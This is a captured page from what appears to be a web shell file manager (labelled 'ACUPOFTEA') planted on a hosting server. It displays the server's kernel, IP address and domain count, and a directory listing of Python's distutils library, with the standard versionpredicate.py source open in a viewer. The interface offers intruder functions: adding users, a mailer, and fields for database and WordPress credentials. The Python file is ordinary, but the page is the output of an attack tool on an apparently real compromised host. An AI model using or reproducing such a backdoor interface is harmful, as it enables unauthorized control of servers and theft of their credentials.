System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
versionpredicate.py
"""Module for parsing and testing package version predicate strings. """ import re import distutils.version import operator re_validPackage = re.compile(r"(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)", re.ASCII) # (package) (rest) re_paren = re.compile(r"^\s*\((.*)\)\s*$") # (list) inside of parentheses re_splitComparison = re.compile(r"^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$") # (comp) (version) def splitUp(pred): """Parse a single version comparison. Return (comparison string, StrictVersion) """ res = re_splitComparison.match(pred) if not res: raise ValueError("bad package restriction syntax: %r" % pred) comp, verStr = res.groups() return (comp, distutils.version.StrictVersion(verStr)) compmap = {"<": operator.lt, "<=": operator.le, "==": operator.eq, ">": operator.gt, ">=": operator.ge, "!=": operator.ne} class VersionPredicate: """Parse and test package version predicates. >>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)') The `name` attribute provides the full dotted name that is given:: >>> v.name 'pyepat.abc' The str() of a `VersionPredicate` provides a normalized human-readable version of the expression:: >>> print(v) pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3) The `satisfied_by()` method can be used to determine with a given version number is included in the set described by the version restrictions:: >>> v.satisfied_by('1.1') True >>> v.satisfied_by('1.4') True >>> v.satisfied_by('1.0') False >>> v.satisfied_by('4444.4') False >>> v.satisfied_by('1555.1b3') False `VersionPredicate` is flexible in accepting extra whitespace:: >>> v = VersionPredicate(' pat( == 0.1 ) ') >>> v.name 'pat' >>> v.satisfied_by('0.1') True >>> v.satisfied_by('0.2') False If any version numbers passed in do not conform to the restrictions of `StrictVersion`, a `ValueError` is raised:: >>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)') Traceback (most recent call last): ... ValueError: invalid version number '1.2zb3' It the module or package name given does not conform to what's allowed as a legal module or package name, `ValueError` is raised:: >>> v = VersionPredicate('foo-bar') Traceback (most recent call last): ... ValueError: expected parenthesized list: '-bar' >>> v = VersionPredicate('foo bar (12.21)') Traceback (most recent call last): ... ValueError: expected parenthesized list: 'bar (12.21)' """ def __init__(self, versionPredicateStr): """Parse a version predicate string. """ # Fields: # name: package name # pred: list of (comparison string, StrictVersion) versionPredicateStr = versionPredicateStr.strip() if not versionPredicateStr: raise ValueError("empty package restriction") match = re_validPackage.match(versionPredicateStr) if not match: raise ValueError("bad package name in %r" % versionPredicateStr) self.name, paren = match.groups() paren = paren.strip() if paren: match = re_paren.match(paren) if not match: raise ValueError("expected parenthesized list: %r" % paren) str = match.groups()[0] self.pred = [splitUp(aPred) for aPred in str.split(",")] if not self.pred: raise ValueError("empty parenthesized list in %r" % versionPredicateStr) else: self.pred = [] def __str__(self): if self.pred: seq = [cond + " " + str(ver) for cond, ver in self.pred] return self.name + " (" + ", ".join(seq) + ")" else: return self.name def satisfied_by(self, version): """True if version is compatible with all the predicates in self. The parameter version must be acceptable to the StrictVersion constructor. It may be either a string or StrictVersion. """ for cond, ver in self.pred: if not compmap[cond](version, ver): return False return True _provision_rx = None def split_provision(value): """Return the name and optional version number of a provision. The version number, if given, will be returned as a `StrictVersion` instance, otherwise it will be `None`. >>> split_provision('mypkg') ('mypkg', None) >>> split_provision(' mypkg( 1.2 ) ') ('mypkg', StrictVersion ('1.2')) """ global _provision_rx if _provision_rx is None: _provision_rx = re.compile( r"([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)(?:\s*\(\s*([^)\s]+)\s*\))?$", re.ASCII) value = value.strip() m = _provision_rx.match(value) if not m: raise ValueError("illegal provides specification: %r" % value) ver = m.group(2) or None if ver: ver = distutils.version.StrictVersion(ver) return m.group(1), ver
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
command
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
README
text/plain
295 B
-rw-r--r--
2018-12-23 09:37:14
__init__.py
text/plain
236 B
-rw-r--r--
2018-12-23 09:37:14
_msvccompiler.py
text/x-python
21.07 KB
-rw-r--r--
2018-12-23 09:37:14
archive_util.py
text/x-python
8.32 KB
-rw-r--r--
2018-12-23 09:37:14
bcppcompiler.py
text/x-python
14.58 KB
-rw-r--r--
2018-12-23 09:37:14
ccompiler.py
text/x-python
46.3 KB
-rw-r--r--
2018-12-23 09:37:14
cmd.py
text/x-python
18.68 KB
-rw-r--r--
2018-12-23 09:37:14
config.py
text/x-python
4.77 KB
-rw-r--r--
2018-12-23 09:37:14
core.py
text/x-python
8.67 KB
-rw-r--r--
2018-12-23 09:37:14
cygwinccompiler.py
text/x-python
16.09 KB
-rw-r--r--
2018-12-23 09:37:14
debug.py
text/plain
139 B
-rw-r--r--
2018-12-23 09:37:14
dep_util.py
text/x-python
3.41 KB
-rw-r--r--
2018-12-23 09:37:14
dir_util.py
text/x-python
7.6 KB
-rw-r--r--
2018-12-23 09:37:14
dist.py
text/x-python
48.53 KB
-rw-r--r--
2018-12-23 09:37:14
errors.py
text/plain
3.49 KB
-rw-r--r--
2018-12-23 09:37:14
extension.py
text/plain
10.27 KB
-rw-r--r--
2018-12-23 09:37:14
fancy_getopt.py
text/x-python
17.37 KB
-rw-r--r--
2018-12-23 09:37:14
file_util.py
text/x-python
7.96 KB
-rw-r--r--
2018-12-23 09:37:14
filelist.py
text/x-python
12.53 KB
-rw-r--r--
2018-12-23 09:37:14
log.py
text/plain
1.92 KB
-rw-r--r--
2018-12-23 09:37:14
msvc9compiler.py
text/x-python
29.89 KB
-rw-r--r--
2018-12-23 09:37:14
msvccompiler.py
text/x-python
23.02 KB
-rw-r--r--
2018-12-23 09:37:14
spawn.py
text/x-python
7.25 KB
-rw-r--r--
2018-12-23 09:37:14
sysconfig.py
text/x-python
19.7 KB
-rw-r--r--
2025-08-26 09:08:08
text_file.py
text/plain
12.19 KB
-rw-r--r--
2018-12-23 09:37:14
unixccompiler.py
text/x-python
14.63 KB
-rw-r--r--
2025-08-26 08:58:55
util.py
text/x-python
20.3 KB
-rw-r--r--
2018-12-23 09:37:14
version.py
text/x-python
12.06 KB
-rw-r--r--
2018-12-23 09:37:14
versionpredicate.py
text/plain
5.01 KB
-rw-r--r--
2018-12-23 09:37:14
~ ACUPOFTEA - mail.ontime-ae.com